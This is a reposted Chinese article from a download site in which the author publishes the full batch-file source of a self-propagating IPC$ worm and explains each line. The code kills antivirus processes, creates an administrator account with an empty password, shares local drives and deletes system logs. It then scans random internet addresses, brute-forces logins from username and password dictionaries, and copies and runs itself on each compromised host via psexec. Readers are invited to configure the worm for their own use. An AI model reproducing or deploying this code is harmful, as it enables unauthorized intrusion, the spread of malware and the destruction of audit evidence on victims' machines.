⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 分析一个用批处理编写的蠕虫.txt

📁 bat教程
💻 TXT
字号:

   
  分析一个用批处理编写的蠕虫            【字体:小 大】 
 
  
   
   
 分析一个用批处理编写的蠕虫 
 
作者:红衣刺客 文章来源:IDS网络安全小组 点击数:1443 更新时间:2004-8-27 
 
 
   前几天闲来无事,用批处理写了蠕虫。把源代码公布出来分析一下。希望大家共同进步。

源代码如下(把下面的代码保存为Rundll32.bat):

REM -----IPC Worm V2.0 -----
REM  ########################
REM 配置部分
SET addadmin=worm 
SET SORI=1
SET ADDR1=254
SET ADDR2=254
SET ADDR3=254
SET ADDR4=254
SET WORM=Rundll32.bat
REM #######################
Copy /y %windir%\system32\%WORM% C:\Autoexec.bat
Copy /y %windir%\system32\%WORM% %windir%\system32\Winstart.bat
PSK Rfw.exe
PSK KAVPFW.exe
PSK KAV9X.exe
PSK VPC32.exe
PSK PFW.exe
PSK RavMon.exe
net user %addadmin% /add
IF %ERRORLEVEL%==0 net localgroup Administrators %addadmin% /add
net share ipc$
net share admin$
net share C$=c:\
net share D$=d:\
net share E$=e:\
net share F$=f:\
del %windir%\system32\logfiles\w3svc1\*.* /f /q
del %windir%\system32\logfiles\w3svc2\*.* /f /q
del %windir%\system32\config\*.event /f /q
del %windir%\system32dtclog\*.* /f /q
del %windir%\*.txt /f /q
del %windir%\*.log /f /q

:IPADDRESS
IF %SORI%==4 SET /A ADDR4=%RANDOM% %% %ADDR4%

IF %SORI%==3 (
SET /A ADDR3=%RANDOM% %% %ADDR3%
SET /A ADDR4=%RANDOM% %% %ADDR4%
)
IF %SORI%==2 (
SET /A ADDR2=%RANDOM% %% %ADDR2%
SET /A ADDR3=%RANDOM% %% %ADDR3%
SET /A ADDR4=%RANDOM% %% %ADDR4%
)
IF %SORI%==1 (
SET /A ADDR1=%RANDOM% %% %ADDR1%
SET /A ADDR2=%RANDOM% %% %ADDR2%
SET /A ADDR3=%RANDOM% %% %ADDR3%
SET /A ADDR4=%RANDOM% %% %ADDR4%
)   
SET ADDRESS=%ADDR1%.%ADDR2%.%ADDR3%.%ADDR4%
FOR /F %%K IN (%windir%\system32\U.txt) DO FOR /F %%J IN (%windir%\system32\P.txt) DO NET USE \\%ADDRESS%\IPC$ %%J /USER:%%K & IF NOT errorlevel 1 GOTO RUN
GOTO IPADDRESS

:RUN
COPY Rundll.bat \\%ADDRESS%\ADMIN$\SYSTEM32\%WORM%
IF errorlevel 1 GOTO ERR
COPY U.txt \\%ADDRESS%\ADMIN$\SYSTEM32\
COPY P.txt \\%ADDRESS%\ADMIN$\SYSTEM32\
COPY PS \\%ADDRESS%\ADMIN$\SYSTEM32\
COPY PSK \\%ADDRESS%\ADMIN$\SYSTEM32\
PS \\%ADDRESS% %windir%\system32\%WORM%

NET USE \\%ADDRESS%\IPC$ /DEL
GOTO IPADDRESS

这里面用到了pskill, psexec 这两个小工具和两个猜解用户密码的字典文件U.txt 和 P.txt。

这只蠕虫(IPC worm)的功能:

1、杀死本地杀毒程序的进程。(可以杀掉瑞星、金山、天网和赛门铁克。)
2、在本地添加一个用户,用户名可以自定义,密码为空。
3. 把自身复制到启动项。
4. 共享C D E F 盘。
4、随即生成一个IP地址。   (可以自由定义IP范围)
5、扫描弱口令。
7、复制自身到目标主机,并执行。

由于防止使用者恶意破坏。只编写了感染部分和传播部分,没有对破坏部分进行编写。现在只可以定义为一条共享蠕虫。

分析:
REM 配置部分
REM addadmin=worm
你要建立的用户,默认为worm

SET ADDR1=254
循环IP第一部分

SET ADDR2=254
循环IP第二部分
SET ADDR3=254

循环IP第三部分
SET ADDR4=254

循环IP第四部分
SET SORI=1
随机开关,如果是4则以第四部分为上限,生成192.168.0.1—192.168.0.255中的随机地址,如果为3,则第三部分和第四部分都是随机,以此类推。默认为0.0.0.0-254.254.254.254之内的随机IP,也就是全世界,当然大家可以自己配置IP范围。

SET WORM=Rundll32.bat
定义蠕虫的名称,默认为Rundll32.bat。

这一段为配置部分,大家可以根据自己的需求和喜好配置自己的小虫虫。下面开始对这个蠕虫的行为进行分析。

Copy /y %windir%\system32\%WORM% C:\Autoexec.bat
Copy /y %windir%\system32\%WORM% %windir%\system32\Winstart.bat
把自身复制到启动项Autoexec.bat和Winstart.bat中,双保险,呵呵,够黑吧!

PSK Rfw.exe
PSK KAVPFW.exe
PSK KAV9X.exe
PSK VPC32.exe
PSK PFW.exe
PSK RavMon.exe
杀掉反病毒进程,用到了pkill这个小工具,这里改名为PSK。

net user %addadmin% /add
IF %ERRORLEVEL%==0 net localgroup Administrators %addadmin% /add
建立你所要建立的用户名,并把其加入管理员组。
net share ipc$
net share admin$
net share C$=c:\
net share D$=d:\
net share E$=e:\
net share F$=f:\
共享C D E F 盘。当然你还可以再添加。格式:net share 共享名=共享硬盘。

del %windir%\system32\logfiles\w3svc1\*.* /f /q
del %windir%\system32\logfiles\w3svc2\*.* /f /q
del %windir%\system32\config\*.event /f /q
del %windir%\system32dtclog\*.* /f /q
del %windir%\*.txt /f /q
del %windir%\*.log /f /q
清除所有日志,呵呵,管理员不要吐血哦

下面就到了精彩的传播部分

:IPADDRESS
IF %SORI%==4 SET /A ADDR4=%RANDOM% %% %ADDR4%

IF %SORI%==3 (
SET /A ADDR3=%RANDOM% %% %ADDR3%
SET /A ADDR4=%RANDOM% %% %ADDR4%
)
IF %SORI%==2 (
SET /A ADDR2=%RANDOM% %% %ADDR2%
SET /A ADDR3=%RANDOM% %% %ADDR3%
SET /A ADDR4=%RANDOM% %% %ADDR4%
)
IF %SORI%==1 (
SET /A ADDR1=%RANDOM% %% %ADDR1%
SET /A ADDR2=%RANDOM% %% %ADDR2%
SET /A ADDR3=%RANDOM% %% %ADDR3%
SET /A ADDR4=%RANDOM% %% %ADDR4%
)   
SET ADDRESS=%ADDR1%.%ADDR2%.%ADDR3%.%ADDR4%

随机生成IP地址,如果SORI的值为1,则循环IP第四部分,如果SORI的值为2,则循环IP第四部分和第三部分,依此类推。ADDRESS定义为随机IP部分的这里用到了RANDOM这个随机函数,建议大家看看Windows的帮助。


FOR /F %%K IN (%windir%\system32\U.txt) DO FOR /F %%J IN (%windir%\system32\P.txt) DO NET USE \\%ADDRESS%\IPC$ %%J /USER:%%K & IF NOT errorlevel 1 GOTO RUN
GOTO IPADDRESS (也就是重新随机定义IP)

呵呵,绝对经典的一句,用了For的双层循环猜解用户名和密码(U.txt为用户字典,P.txt为密码字典),如果正确GOTO RUN,错误GOTO IPADDRESS。建议大家好好琢磨琢磨这一句话。

:RUN
COPY Rundll.bat \\%ADDRESS%\ADMIN$\SYSTEM32\%WORM%
IF errorlevel 1 GOTO ERR
COPY U.txt \\%ADDRESS%\ADMIN$\SYSTEM32\
COPY P.txt \\%ADDRESS%\ADMIN$\SYSTEM32\
COPY PS \\%ADDRESS%\ADMIN$\SYSTEM32\
COPY PSK \\%ADDRESS%\ADMIN$\SYSTEM32\
PS \\%ADDRESS% %windir%\system32\%WORM%

RUN部分,建立IPC$成功后把自身复制到目标IP的SYSTEM32目录下,并用psexec远程执行蠕虫主体(这里为PS)。

NET USE \\%ADDRESS%\IPC$ /DEL
GOTO IPADDRESS

删除IPC$联接

我想通过我的分析,大家应该会对批处理有些了解,也大概明白了蠕虫病毒的行为特点。现在还存在一个问题,就是无法实现随机IP段。如果你有什么好的建议或者想法,欢迎与我联系。我的QQ是158017079。

 
 
 
 
 
 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -